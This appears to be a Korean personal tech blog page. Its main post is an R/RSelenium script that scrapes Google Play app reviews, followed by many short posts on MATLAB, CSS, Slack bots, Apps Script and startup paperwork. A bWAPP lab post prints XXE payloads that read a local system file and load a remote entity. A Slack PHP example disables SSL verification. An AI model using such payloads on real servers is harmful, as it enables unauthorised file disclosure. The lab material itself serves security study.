메뉴 건너뛰기

imp

[R] 구글 플레이스토어 리뷰 수집

suritam92019.02.11 16:34조회 수 2347댓글 1

    • 글자 크기

json 등으로 제공되지 않기 때문에, html 을 직접 크롤링해야 하는데, 더보기 버튼 등이 있고, 유용성 순서로 정렬이 기본이므로 제약이 많다.

 

https://blog.naver.com/PostView.nhn?blogId=nife0719&logNo=221329685115&parentCategoryNo=&categoryNo=30&viewDate=&isShowPopularPosts=false&from=postView

 

에서 제공되는 소스를 조금 고쳐서 전체를 다 수집하지 않고, 최근 것 일부만 수집하도록 한다.

 

리뷰가 너무 많을 경우 30분이 넘어가는 일이 발생하므로 다음과 같이 수정하였다.

 

다음을 실행하기 위해서는, r을 다운로드하여 설치하고 https://cran.r-project.org/bin/windows/base/

 

콘솔에서 관련 라이브러리를 설치한다. 아래 코드는 적당한 이름으로 저장하여 불러오기 후 전체 실행하면 된다.

(예제 앱은 스마트 헌혈 임)

 

install.packages("rvest")

install.packages("httr")

install.packages("stringr")

install.packages("RSelenium")

 

 

[다음]

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

ch=wdman::chrome(port=4444L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4444L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=net.bloodinfo.smartapp&showAllReviews=true") #설정 URL로 이동

 

webElem <- remDr$findElement("css", "body")

webElem$sendKeysToElement(list(key = "end"))

 

# webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc') #버튼 element 찾기

# remDr$mouseMoveToLocation(webElement = webElemButton) #해당 버튼으로 포인터 이동

 

flag <- TRUE

endCnt <- 0

 

while (flag) {

  Sys.sleep(10)

  webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

 

  if(length(webElemButton)==1){

    endCnt <- 0

    webElem$sendKeysToElement(list(key = "home"))

    webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #해당 버튼으로 포인터 이동

    remDr$click()

    webElem$sendKeysToElement(list(key = "end"))

    flag <- FALSE #추가한 부분

  }else{

    if(endCnt>3){

      flag <- FALSE

    }else{

      endCnt <- endCnt + 1

    }

  }

}

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

write.csv(reviewData, paste0("net.bloodinfo.smartapp(",nrow(reviewData),").csv"))

 

remDr$close()

 
    • 글자 크기
XML, FLEX, MATLAB, CAREER (by 박영식) cos함수의 주파수영역에서 보기 (by 박영식)

댓글 달기

댓글 1
  • suritam9글쓴이
    2019.2.19 10:26 댓글추천 0비추천 0

    #설정 URL로 이동 후 최신순으로 정렬하는 것을 추가하여 유용도 순의 초기 설정을 변경가능하다.

    *xpath 추출은 크롬 플러그인 xPath finder 로 하면 쉽다.

     

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[1]/div[2]/span")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

    remDr$click()

     

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[2]/div[1]")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

    remDr$click()

    Sys.sleep(10)

     

[awesome table] CSS 적용하기

[원문보기]

구글 awesome table 기본 css 는 처음에 깔끔하긴 하지만, 역시 동일하게 적용하면 기술적으로 복사해서만 구현한 것 같다.


이를테면, XE 기본 템플릿, 전자정부프레임워크의 기본 스타일로 적용된 페이지는 노력이 덜 들어간 느낌이다.


구글도 이를 인지했는지, 어렵지만, CSS 를 적용하는 방법을 지원한다.


개인적으로 사용한 것은 필터 부분의 버튼 색을 흰색으로 바꾸고 크기를 줄인 것이다.


기본 테이블 헤더의 정렬과, 내용(td) 부분 정렬 방식을 지정하여, 조금 더 출력이 일괄 가운데 정렬보다는 심혈을 기울인 듯한 모습을 보인다.


* awesome table gadget 의 4번째 탭(Advenced Parameter)의 templates range 에서 영역을 설정하고, 1행은 <style> 이라고 하면 된다.(해당 내용은 여기서 다루지 않음)


.awt-vis-controls-csvFilter .awt-csvFilter-button {background:#ffffff;}

.google-visualization-table-table th {text-align:center;}

.google-visualization-table-table td {padding-left:12pt;text-align:justify;max-width:150px;}

.awt-vis-controls-csvFilter .awt-csvFilter-dropdown-menu {min-width:100px;}

.awt-vis-controls-csvFilter .awt-csvFilter {min-width:100px;}


추가적으로 전체 헤더 색을 지정하는 부분이다. 원래는 회색인데, 푸른색 계열로 적용하면 hover 색이랑 약간 비슷하긴 하지만, 통일감도 있고, 흑백 느낌을 줄여준다.

.google-visualization-table-table .gradient,

.google-visualization-table-div-page .gradient {

        background: #82b6f7 !important;

}

창업일지 - 무소득사실확인서 제출

[원문보기]
국민연금관리공단에서 보험에 가입하고 보험료를 내라는 독촉 편지가 와서 전화로 확인해 보았다. 인터넷에는 없는게 없다. '무소득사실확인서' 양식이 있는데, 이것을 제출하면, 국민연금 가입을 연기할 수 있다. 법으로 연금에 가입시켜서 보험료를 받아 먹다니.. OTL.

errordlg의 활용 matlab alert의 기능 수행

[원문보기]
errordlg

Create and display an error dialog box


Syntax


  • errordlg
    errordlg('errorstring')
    errordlg('errorstring','dlgname')
    errordlg('errorstring','dlgname','on')
    h = errordlg(...)

Description
Matlab의 alert이다. 찾느라 약간 시간이 걸렸다. 월......
on을 쓰면, 기존에 box가 있는 것을 체크하여 새로 띄우지 않는다.
h에는 handle을 저장하게 된다.

[FACEBOOK] 앱 만들기1

[원문보기]
https://developers.facebook.com/apps

위 사이트에 가서 새 앱 만들기를 누른다.

F1.jpg

이름을 입력하면, 위와 같이 Basic 설정으로 넘어간다.

앱 네임스페이스는 앱의 이름이라고 할 수 있다. 영어로 쓴다.

이메일은 자신의 이메일을 쓰면 된다.

F2.jpg

아래에 웹사이트, 캔버스 URL, MObile Web URL은 http://주소/facebook/ 로 모두 동일하게 적어도 된다.
캔버스 페이지는 http://apps.facebook.com/네임스페이스


변경내용을 저장하고,
이제 facebook 디렉터리의 index.php를 작성한다.


위 사이트에서 sdk를 다운로드 하고 아래와 같이 기본 코드를 작성한다.

require "./php-sdk/src/facebook.php";

$facebook = new Facebook(array(
  'appId'  => '', //어플리케이션 생성시 발급된 'Application ID'를 넣어주자.
  'secret' => '', //어플리케이션 생성시 발급된 'Application Secret' 을 넣어주자.
  'cookie' => true,
));

// Get User ID
$user = $facebook->getUser();

// We may or may not have this data based on whether the user is logged in.
//
// If we have a $user id here, it means we know the user is logged into
// Facebook, but we don't know if the access token is valid. An access
// token is invalid if the user logged out of Facebook.

if ($user) {
  try {
    // Proceed knowing you have a logged in user who's authenticated.
    $user_profile = $facebook->api('/me');
  } catch (FacebookApiException $e) {
    error_log($e);
    $user = null;
  }
}

// Login or logout url will be needed depending on current user state.
if ($user) {
  $logoutUrl = $facebook->getLogoutUrl();
} else {
  $loginUrl = $facebook->getLoginUrl();
}
$session=$facebook->getUser();
if ($session==null) {
사용자가 승인하는 부분 // 다음 게시글에서 다룬다.
}

20대 CEO - 박이빛

[원문보기]





파코메리 여성CEO 초청 강연
'대한민국 20대의 꿈과 성공' 주제로 최연소 월스트리트 진출 여성CEO 박이빛씨 강연

㈜파코메리(대표 박형미)는 지난 10일, 교육계 최연소 여성 CEO이자 교육 컨텐츠 분야 여성 CEO 최초로 미국 월스트리트에 진출한 박이빛 씨를 초청 '대한민국 20대의 꿈과 성공'이라는 주제로 강연회를 가졌다.

전국 주요지역 31개 직영점장 및 사원 5백여명을 대상으로 열린 이번 강연회에서 박이빛 씨는 현 시대를 속도, 지식, 신뢰의 시대로 규정하면서 “내 분야가 아니더라도, 나는 내가 내 몸을 투자했을 때 승리를 맛보는 그 쾌락에 승부수를 던진다"며 "경영자는 반드시 자신이 무엇을 원하고 무엇을 원하지 않는가를 정당화할 필요는 없다. 그러나 강하게 원하게 될 때가 있다, 그 때 시작을 해야 뭐든 이뤄낼 수 있다”고 강조했다. 또한 “강하게 신념을 가지는 그것, 그것을 책임질 수 있다면 지금 당장 시작하라”고 주문했다.

또 사람을 다루고 사람을 경영하는 자신만의 생각에 대해 박이빛 씨는 그것을 ‘안전거리’라고 규정했다.

박 CEO는 “우리는 사람이기 때문에 누구나 실패를 할 수 있다고 생각하며 살아야 한다. 그래서 필요한 것이 맨 마지막에 물러설 수 있는 공간, 즉 안전거리를 꼭 확보해 놓아야 한다는 것이다. 맨 마지막에 정말 남는 것은 내 주변의 ‘사람’이다. 돈도 아니고 명예도 아니고 바로 사람이다. 진정한 사람을 곁에 두는 사람은, 돈과 명예가 탐나지 않는다. 그럴 때 비로소 성공 이란 것이 찾아온다.”고 역설했다.

박형미 사장은 박이빛 씨에 대해 “공정한 원칙과 룰 속에서 승부욕이 강하고 진정한 자신만의 투자 방법을 체득한 박이빛 씨야말로 파코메리가 추구하는 미래지향적 투명한 파코메리 시스템과 일치한다”고 소감을 밝혔다.

박이빛 씨는 연봉 2천4백만원의 학원 강사로 시작한 지 5년 만에 10억원의 연봉을 받는 교육분야 최초의 여성 CEO로서 자신의 이름을 건 이빛에듀 뉴욕지사를 지난 7월 7일 월스트리트 중심가에 오픈해 세간의 화제가 됐다

FLEX 개발환경 - J2EE, Tomcat, CS

[원문보기]

  J2EE는 웹기반의 엔터프라이즈 애플리케이션을 구축하기 위한 썬의 플랫폼이다. J2EE 서비스는 사용자의 브라우저와, 엔터프라이즈 데이터베이스 및 레거시 정보시스템 사이의 중간계층에서 수행된다. J2EE의 핵심요소는, JSP와 자바 서블릿, 그리고 기업내의 정보자원을 하나로 묶기 위한 다양한 인터페이스들의 뒤를 이은 EJB이다. J2EE 인터페이스는 데이터베이스를 위해 JDBC를, 디렉토리를 위해서는 JNDI를, 트랜잭션을 위해서는 JTA를, 메시징을 위해서는 JMS를, 전자우편시스템을 위해서는 JavaMail을, 그리고 CORBA와의 접속을 위해서는 JavaIDL을 각각 포함한다.


  1999년 12월에, 최초의 공식적인 버전으로는 최초로 J2EE 버전 1.2가 발표되었다.


Tomcat : 아파치 소프트웨어 파운데이션(Apache Software Foundation)에서 서버인 자바(Java)를 움직이게 하기 위해 개발한 AP서버.
톰캣은 서블릿 컨테이너이며, 자바 서블릿 Java Servlet과 자바서버 페이지JavaServer Pages 기술에 대한 공식적인 참조 구현체입니다. 자바 서블릿과 자바서버 페이지 스펙은 Java Community Process 주도하에 썬에 의해서 개발됩니다. 톰캣은 아파치 소프트웨어 라이센스 아래 공개적이고 함께 하는 환경에서 개발되고 배포됩니다. 톰캣은 전세계의 베스트 개발자들의 합작으로 의도된 것입니다.

 CS는 creative suite의 약자인데, Adobe사에서 릴리즈한 프로그램들은 다 cs가 붙는다. 마케팅 전략이기도 하고, MS처럼 studio에 여러 언어를 컴파일할 수 있는 컴파일러 및 에디터를 묶어 내놓는 것으로 보이기도 한다. 이럴 수록 사이즈가 커져서 관리하기는 더 어려워질 듯 하다.

페르미 패러독스

[원문보기]
페르미 이름이 붙은 또 다른 유명한 에피소드가 '페르미 패러독스'다. 이것은 지구 외 문명(생물)의 존재유무에 대한 것으로 다음과 같다.

우주의 크기와 별의 수, 역사의 길이를 생각할 때 지구 외 문명(Extra Terrestrial Civilization, 이하 ETC)이 존재하지 않는 것은 이상하다. 그러나 지구상에서 이제껏 ETC는 목격되지 않았다.

페르미는 이 화제를 동료들에게 자주 던지면서 "다들 어디에 있는 거지?" 하고 물었다고 한다. 이 패러독스를 페르미 패러독스라고 한다. 이 ETC의 존재확률에 관해서는 전형적인 페르미 추정을 응용할 수 있는 과제다. 참고로 미국의 천문학자 프랭크 드레이크 공식'을 유도해냈다.
드레이크 방정식 : N = R X fp X ne X fl X fi Xfc X L
N: 은하계에서 통신할 수 있는 ETC의 수
R: 은하계에서 1년에 별이 탄생할 확률
fp : 행성을 가진 항성의 확률
ne : 행성을 가진 항성 가운데 생명이 유지할 수 있는 환경을 가진 행성의 수
fl : 생명을 유지할 수 있는 행성 가운데 실제로 생명이 있을 확률
fi : 그 행성 가운데 생명이 지적인 생명체로 발전(진화)할 확률
fc : 그 가운데 항성 간 통신을 할 수 있는 문화가 발달할 확률
L : 그런 문화가 통신을 할 기간의 길이

[bWAPP] XML External Entity Attacks (XXE)

[원문보기]
LFI(Local File Inclusion)
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///windows/win.ini">
]><reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>

윈도우의 경우 위와 같이 입력하면, 파일 내용 열람이 가능하다.

RFI(Remote File Inclusion) 는 서버 설정으로 allow_url_fopen = on allow_url_include = on 이 필요하다.
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://원격주소">
]><result>&bWAPP;</result>

The HackPot : XML External Enitity (XXE) Injection
http://thehackpot.blogspot.com/2014/05/xml-external-enitity-xxe-injection.html?m=1

윈도우(PHP 5.212)는 별 이상이 없는데, linux 서버(PHP 7)에서는 오류가 발생한다.

simplexml_load_string 함수를 호출할 때, $xml = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);

옵션을 주는 방식으로 하면 오류를 제거할 수 있다.

ent.jpg

함수 - 데이터 생성 함수 magic

[원문보기]

 magic(k)는 1에서 k^2까지의 정수를 사용하여 열, 행 그리고 대각선의 합이 똑같은 정방행렬을 만들어주는 Matlab의 데이터 생성함수이다.


  To get started, select MATLAB Help or Demos from the Help menu.


>> B = magic(4)


B =


    16     2     3    13
     5    11    10     8
     9     7     6    12
     4    14    15     1


>>

[OSX] VMWARE 에 WINDOWS 설치 후, 키보드 매핑

[원문보기]

http://docs.cena.co.kr/?mid=textyle&category=13620&document_srl=17478

위 사이트를 참고하였다.

Left Option(0038) -> Left Windows(E05B)

Left Command(E05B) -> Left Alt(0038)

Right Control(E01D) -> Context Menu(E05D)

Right Option(E038) -> 한자(E071)

Right Command(E05C) -> 한글(E072)


위와 같이 변경해 보았으나, 기본적으로 Left Command + Tab이 OSX의 창 전환 기능이기 때문에, WINDOWS에서 사용할 수 없다. 그래서 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard Layout

에서 Scancode Map의 데이터를 다음과 같이 입력했다.

00 00 00 00   // Map Header

00 00 00 00   // Map Version

06 00 00 00   // Count (DWORD)

5B E0 5B E0   // Left Command(E05B) -> Left Windows(E05B)

38 00 38 00   // Left Option(0038) -> Left Alt(0038)

5D E0 1D E0   // Right Control(E01D) -> Context Menu(E05D)-> 내 맥북 AIR에는 없다

71 E0 38 E0   // Right Option(E038) -> 한자(E071)

72 E0 5C E0   // Right Command(E05C) -> 한글(E072)

00 00 00 00

이렇게 하여, 한자, 한글만 적용했다. 

[slack] bot 을 이용한 메시지 보내기

[원문보기]

browse Apps -> Custom Integrations -> Bots 에서


bot을 추가하여 이름 정도만 설정하면 access-token을 받을 수 있다.


xoxb 로 시작하는 token을 넣은 뒤 아래와 같은 php 소스로 메시지 전송이 가능하다.


<?php

$cont="#".$_GET["channel"];

echo slack($_GET["cont"],$cont);

function slack($message, $channel)

{

    $ch = curl_init("https://slack.com/api/chat.postMessage");

    $data = http_build_query([

        "token" => "xoxb-~~~",

        "channel" => $channel, //"#general",

        "text" => $message, //"Hello, Foo-Bar channel message.",

        "username" => "MySlackBot",

    ]);

    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');

    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);

    curl_close($ch);

    return $result;

}

?>

cos함수의 주파수영역에서 보기

[원문보기]
t = 0:0.001:0.6;
x = cos(2*pi*150*t)+cos(2*pi*50*t);
y = x;
subplot(2,1,1)
plot(1000*t(1:50),y(1:50))
title('Signal')
xlabel('time (milliseconds)')
Y = fft(y,512);
Pyy = Y.* conj(Y) / 512;
f = 1000*(0:256)/512;
subplot(2,1,2)
plot(f,Pyy(1:257))
title('Frequency')
xlabel('frequency (Hz)')

[GS] apps script 를 이용한 구글 드라이브로 파일 업로드

[원문보기]

PHP 를 이용한 파일 업로드는 서버에 저장된 파일을 스크립트를 이용해 리스트와 파일로 저장하는 방식이었다.


이제는 apps script를 이용해 직접 구글 드라이브로 업로드하여 중간 절차와 서버 사용 부담을 줄였다.


[원본글]

https://ctrlq.org/code/19747-google-forms-upload-files


[file.gs]

/* The script is deployed as a web app and renders the form */

function doGet(e) {

  return HtmlService

    .createHtmlOutputFromFile('form.html')

    .setTitle("파일 업로드");

}


function uploadFileToGoogleDrive(data, file, name, kind, row) {


  try {


    var tD = Utilities.formatDate(new Date(), "GMT+9", "yyyyMMdd");

    var folder, folders = DriveApp.getFoldersByName(tD);

    var imageFolder = DriveApp.getFolderById("폴더");

    /* Find the folder, create if the folder does not exist */

    if (folders.hasNext()) {

      folder = folders.next();

    } else {

      folder = imageFolder.createFolder(tD);

    }


    var contentType = data.substring(5,data.indexOf(';')),

        bytes = Utilities.base64Decode(data.substr(data.indexOf('base64,')+7)),

        blob = Utilities.newBlob(bytes, contentType, file);


    var file = folder.createFolder(tD).createFile(blob);

    

    return "OK";


  } catch (f) {

    return f.toString();

  }


}


[form.html]

<!-- File upload button -->

<input id="file" type="file">

<!-- Form submit button -->

<button id="sb" onclick="submitForm();return false;">전송</button>

<!-- Show Progress -->

<div id="progress"></div>

<!-- Add the jQuery library -->

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>


<script>


  var file, 

      reader = new FileReader();


  // Upload the file to Google Drive

  reader.onloadend = function(e) {

    google.script.run

      .withSuccessHandler(showMessage)

      .uploadFileToGoogleDrive(

         e.target.result, file.name, 

         $('select#company option:selected').text(), 

         $('select#kind').val(), 

         $('select#company').val()

      );

  };


  // Read the file on form submit

  function submitForm() {

      file = $('#file')[0].files[0];

      if(!file){

        alert('파일선택');

      }else{

        file = $('#file')[0].files[0];

        showMessage("Uploading file..");

        reader.readAsDataURL(file);

      }

  }


  function showMessage(e) {

    $('#progress').html(e);

    $('#sb').prop("disabled",true);

  }


</script>

퓨리에 변환을 통한 주파수영역으로 전환

[원문보기]
t=linspace(0,1,1000);
g=cos(2*pi*100*t)+cos(2*pi*200*t);
dt=t(2)-t(1);
df=1/dt/(1000-1);
f=[-500:499];
G=fft(g);
G=fftshift(G);
realG = G.* conj(G) / 1000;
subplot(2,1,1);
plot(t,g);
axis([0 0.05 -1.5 2]);
subplot(2,1,2);
plot(f,realG);
axis([-300 300 0 250]);

zbxe 작업일지(13일차)

[원문보기]
1. pse.php 수정
 - 다음 오픈API의 결과값이 더 이상 없을 때, "결과의 끝입니다" 출력

2. simple_p.php 생성
 zbxe.php에서 pse.php로 연결하여, 새로운 검색결과 제공페이지 연결

창업일지 - 사업자등록 및 통신판매업신고

[원문보기]
 1. 사업자 등록은 주업종, 주업태 선정 외에는 어려운 점이 없었다. 일반과세자로 등록되었으며, 접수자와의 의견 교환이 종료되면 대기자가 없을시 1분이내에 발급된다.
  -> 장소 : 세무서

 2. 통신판매업신고는 구청 지역경제과에서 하였으며, 여러가지 확인절차(세금 채납 등)을 거쳐 신청을 완료하였다. 사업자등록증과 신분증만 있으면 된다.

카길 코리아 - 비료, 식량 산업

[원문보기]
훌륭한 CEO와 안정적인 사업 구조

창업일지 - 특허출원

[원문보기]
위임장 작성도 완료하고, 변리사를 통한 특허를 출원하였다. 막상 하고 나니,, ㅎㅎ
첨부 (0)
위로